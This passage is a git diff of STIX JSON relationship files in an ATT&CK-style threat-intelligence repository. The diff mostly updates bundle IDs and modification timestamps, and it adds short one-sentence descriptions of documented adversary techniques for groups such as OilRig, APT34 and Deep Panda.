diff --git a/enterprise-attack/relationship/relationship--6f8cef32-d057-40f8-be52-62d86b1049e6.json b/enterprise-attack/relationship/relationship--6f8cef32-d057-40f8-be52-62d86b1049e6.json
index c52a974d9c..a1e7abb976 100644
--- a/enterprise-attack/relationship/relationship--6f8cef32-d057-40f8-be52-62d86b1049e6.json
+++ b/enterprise-attack/relationship/relationship--6f8cef32-d057-40f8-be52-62d86b1049e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e89e246e-6bc2-47e7-82b0-fa890c790782",
+    "id": "bundle--e7e7d25e-dce2-4b2d-8c98-4270911514a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f8cef32-d057-40f8-be52-62d86b1049e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke can securely delete files, including deleting itself from the victim.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--6f991c49-462a-4cb8-8096-15c77f7ccace.json b/enterprise-attack/relationship/relationship--6f991c49-462a-4cb8-8096-15c77f7ccace.json
index c1dd680ec7..c649cdf756 100644
--- a/enterprise-attack/relationship/relationship--6f991c49-462a-4cb8-8096-15c77f7ccace.json
+++ b/enterprise-attack/relationship/relationship--6f991c49-462a-4cb8-8096-15c77f7ccace.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8acfcfac-896c-44a3-9422-1b12f9eed404",
+    "id": "bundle--d377c3a4-a89f-43e8-a36c-f45c2fa529c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f991c49-462a-4cb8-8096-15c77f7ccace",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80",
             "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
diff --git a/enterprise-attack/relationship/relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030.json b/enterprise-attack/relationship/relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030.json
index b1273711c9..b24fe4af18 100644
--- a/enterprise-attack/relationship/relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030.json
+++ b/enterprise-attack/relationship/relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--70bd0bad-f18b-4d2d-8e34-80409884324f",
+    "id": "bundle--44a4b0c0-6284-4d86-9287-51bf67bf13c1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs local network configuration discovery using <code>ipconfig /all</code>.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85.json b/enterprise-attack/relationship/relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85.json
index 048c1ffea7..640f2e7812 100644
--- a/enterprise-attack/relationship/relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85.json
+++ b/enterprise-attack/relationship/relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2dce4a0-5be0-43fe-9bb2-f22c15e25549",
+    "id": "bundle--ff0fa40d-0378-45db-8519-754987499801",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload information about all running processes to its C2 server.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--6fdc3210-9754-4157-b386-8fcd680e732c.json b/enterprise-attack/relationship/relationship--6fdc3210-9754-4157-b386-8fcd680e732c.json
index 5ad4347b7c..8a7918cb1b 100644
--- a/enterprise-attack/relationship/relationship--6fdc3210-9754-4157-b386-8fcd680e732c.json
+++ b/enterprise-attack/relationship/relationship--6fdc3210-9754-4157-b386-8fcd680e732c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aab1b16c-d16c-4a9a-afa8-0a425c767a8f",
+    "id": "bundle--8f383ab4-a0c2-436e-9ffc-ff1badc7630a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--701a2767-70f3-44f1-a397-9c04517ece67.json b/enterprise-attack/relationship/relationship--701a2767-70f3-44f1-a397-9c04517ece67.json
new file mode 100644
index 0000000000..20d11d30a4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--701a2767-70f3-44f1-a397-9c04517ece67.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--dcd78f9c-2719-40be-9b4c-a520354f9927",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--701a2767-70f3-44f1-a397-9c04517ece67",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3",
+            "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--70495f42-0a81-485c-8f30-c75af61f1c6a.json b/enterprise-attack/relationship/relationship--70495f42-0a81-485c-8f30-c75af61f1c6a.json
new file mode 100644
index 0000000000..4a4332e231
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--70495f42-0a81-485c-8f30-c75af61f1c6a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e36a9c4a-f4a0-4a75-ba3b-7cc54cc63b25",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has exfiltrated data over FTP separately from its primary C2 channel over DNS.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854.json b/enterprise-attack/relationship/relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854.json
index daf7164471..87745d8e9d 100644
--- a/enterprise-attack/relationship/relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854.json
+++ b/enterprise-attack/relationship/relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d9320166-1462-46cd-bfbc-67ab091b1650",
+    "id": "bundle--68aad931-3a51-4a97-b6c2-67c2363f2454",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--707d131d-39ff-4ea0-a8ef-63dd7ca2a854",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The OsInfo function collects the current running username ",
+            "description": "The OsInfo function in Komplex collects the current running username.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0.json b/enterprise-attack/relationship/relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0.json
index 3ddae878b6..fb59506195 100644
--- a/enterprise-attack/relationship/relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0.json
+++ b/enterprise-attack/relationship/relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71d61e0f-0405-4741-92ce-2047ecaf85c5",
+    "id": "bundle--16d9a0e9-88d9-4c78-834c-e89e9f13617e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of deleting the backdoor file.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--70a93fc8-83c0-4407-8224-ae447af1235a.json b/enterprise-attack/relationship/relationship--70a93fc8-83c0-4407-8224-ae447af1235a.json
index 53f14fd176..84225701fe 100644
--- a/enterprise-attack/relationship/relationship--70a93fc8-83c0-4407-8224-ae447af1235a.json
+++ b/enterprise-attack/relationship/relationship--70a93fc8-83c0-4407-8224-ae447af1235a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eeec03ba-a5d9-4084-989e-64b2336600df",
+    "id": "bundle--f4c01f9e-eb77-4446-81c6-3e68895ab65f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70a93fc8-83c0-4407-8224-ae447af1235a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM is usually configured with primary and backup domains for C2 communications.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c.json b/enterprise-attack/relationship/relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c.json
index db4c08aefb..7af0beed9f 100644
--- a/enterprise-attack/relationship/relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c.json
+++ b/enterprise-attack/relationship/relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ca2db19-6105-4b58-8342-ca97080915e0",
+    "id": "bundle--e7896562-9013-49bf-908d-272402439ac9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used legitimate local admin account credentials.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--70d5a73c-cc14-410a-a430-5948cd21532f.json b/enterprise-attack/relationship/relationship--70d5a73c-cc14-410a-a430-5948cd21532f.json
index d80287c223..f2b30e0822 100644
--- a/enterprise-attack/relationship/relationship--70d5a73c-cc14-410a-a430-5948cd21532f.json
+++ b/enterprise-attack/relationship/relationship--70d5a73c-cc14-410a-a430-5948cd21532f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--260a17d9-0e8a-4dc0-b685-dd39738fa184",
+    "id": "bundle--abd72279-69db-40e3-8ea2-554a41f953b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1.json b/enterprise-attack/relationship/relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1.json
index 8e43d92150..0baabb020e 100644
--- a/enterprise-attack/relationship/relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1.json
+++ b/enterprise-attack/relationship/relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6d8f107-7bff-4ab2-b64f-1656c05cfdaa",
+    "id": "bundle--89cc853f-5446-4c74-81e1-32e63a8d1f5a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "target_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--70edcba2-e777-4ced-a52d-5dfc3965211c.json b/enterprise-attack/relationship/relationship--70edcba2-e777-4ced-a52d-5dfc3965211c.json
index 68dff726e9..b70264afa0 100644
--- a/enterprise-attack/relationship/relationship--70edcba2-e777-4ced-a52d-5dfc3965211c.json
+++ b/enterprise-attack/relationship/relationship--70edcba2-e777-4ced-a52d-5dfc3965211c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--15d80dc5-c280-4f40-9267-18f447790786",
+    "id": "bundle--6ad22b41-2d89-40e4-b028-89cdc107a17a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70edcba2-e777-4ced-a52d-5dfc3965211c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c.json b/enterprise-attack/relationship/relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c.json
index f8a129cd3b..2f87b9e43d 100644
--- a/enterprise-attack/relationship/relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c.json
+++ b/enterprise-attack/relationship/relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de3f150b-3f4e-4453-9a9e-dfd4f0ea0249",
+    "id": "bundle--6019fe4e-534c-44e1-8ed1-2236355bd866",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Axiom group is known to have used RDP during operations.",
             "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
diff --git a/enterprise-attack/relationship/relationship--70f713e8-f4f6-483c-9ec1-524a3aee2d8e.json b/enterprise-attack/relationship/relationship--70f713e8-f4f6-483c-9ec1-524a3aee2d8e.json
new file mode 100644
index 0000000000..acadb8201a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--70f713e8-f4f6-483c-9ec1-524a3aee2d8e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b298b179-93fa-41f7-a47f-514b9d3ef223",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--70f713e8-f4f6-483c-9ec1-524a3aee2d8e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 malware often uses HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd.json b/enterprise-attack/relationship/relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd.json
index 6157f89109..8bf427656d 100644
--- a/enterprise-attack/relationship/relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd.json
+++ b/enterprise-attack/relationship/relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d52d17b1-ce33-41d9-b1f7-7a9627182746",
+    "id": "bundle--12dbf67f-a932-4dc3-9893-1aa550101cb4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list files and directories.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09.json b/enterprise-attack/relationship/relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09.json
index 162745bfc2..2a2148ec56 100644
--- a/enterprise-attack/relationship/relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09.json
+++ b/enterprise-attack/relationship/relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e2539732-bfb1-4fa9-8c27-9823f2d4ef71",
+    "id": "bundle--bc7c3ba4-1d1d-4c22-9faf-eb4d41ce6f30",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Backdoor.Oldrea samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca.json b/enterprise-attack/relationship/relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca.json
index 55a4be313d..96dc2b58ed 100644
--- a/enterprise-attack/relationship/relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca.json
+++ b/enterprise-attack/relationship/relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cee9fb53-399c-46b3-8b7b-a8186a011b6e",
+    "id": "bundle--25478995-adaa-4933-a8cf-6c929d51dbe3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Naikon uses commands such as <code>netsh interface show</code> to discover network interface settings.",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
diff --git a/enterprise-attack/relationship/relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4.json b/enterprise-attack/relationship/relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4.json
index 13344e189d..dfa94eca05 100644
--- a/enterprise-attack/relationship/relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4.json
+++ b/enterprise-attack/relationship/relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee3e4af1-0f41-4a14-bcdd-0349993763bb",
+    "id": "bundle--53474438-654b-4cce-bf51-58996126affe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
diff --git a/enterprise-attack/relationship/relationship--717d87d5-df97-48a9-8766-c9a947541e1d.json b/enterprise-attack/relationship/relationship--717d87d5-df97-48a9-8766-c9a947541e1d.json
index 0ff94ba343..e5e0bb3d3b 100644
--- a/enterprise-attack/relationship/relationship--717d87d5-df97-48a9-8766-c9a947541e1d.json
+++ b/enterprise-attack/relationship/relationship--717d87d5-df97-48a9-8766-c9a947541e1d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73e6693c-16c4-4d51-bc41-9b2e17850b7d",
+    "id": "bundle--a8a7879b-d373-4f9a-9517-fd226ae4f633",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--717d87d5-df97-48a9-8766-c9a947541e1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to perform screen captures.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb.json b/enterprise-attack/relationship/relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb.json
index d99e3a362b..109ccfee1f 100644
--- a/enterprise-attack/relationship/relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb.json
+++ b/enterprise-attack/relationship/relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--856c433e-c865-4035-9ff3-142d3049cc07",
+    "id": "bundle--348f026a-4f07-457a-92c0-20f992a95db2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net user username \\password</code> and <code>net user username \\password \\domain</code> commands in Net can be used to create a local or domain account respectively.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--7193ed4c-7169-46fa-9294-d74d912510d0.json b/enterprise-attack/relationship/relationship--7193ed4c-7169-46fa-9294-d74d912510d0.json
index ee38f74f89..f700e13626 100644
--- a/enterprise-attack/relationship/relationship--7193ed4c-7169-46fa-9294-d74d912510d0.json
+++ b/enterprise-attack/relationship/relationship--7193ed4c-7169-46fa-9294-d74d912510d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0942ba9c-e884-417d-bb85-6f3d47ed177a",
+    "id": "bundle--217633ec-8ba6-4615-9274-8d79f917b7f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7193ed4c-7169-46fa-9294-d74d912510d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf.json b/enterprise-attack/relationship/relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf.json
index 46f2e230e1..8eea5bac3a 100644
--- a/enterprise-attack/relationship/relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf.json
+++ b/enterprise-attack/relationship/relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b5460df-8cb8-4e37-b787-c5d77a179a19",
+    "id": "bundle--9edb3e9a-5e0f-4963-acd8-3f2309172ac4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf",
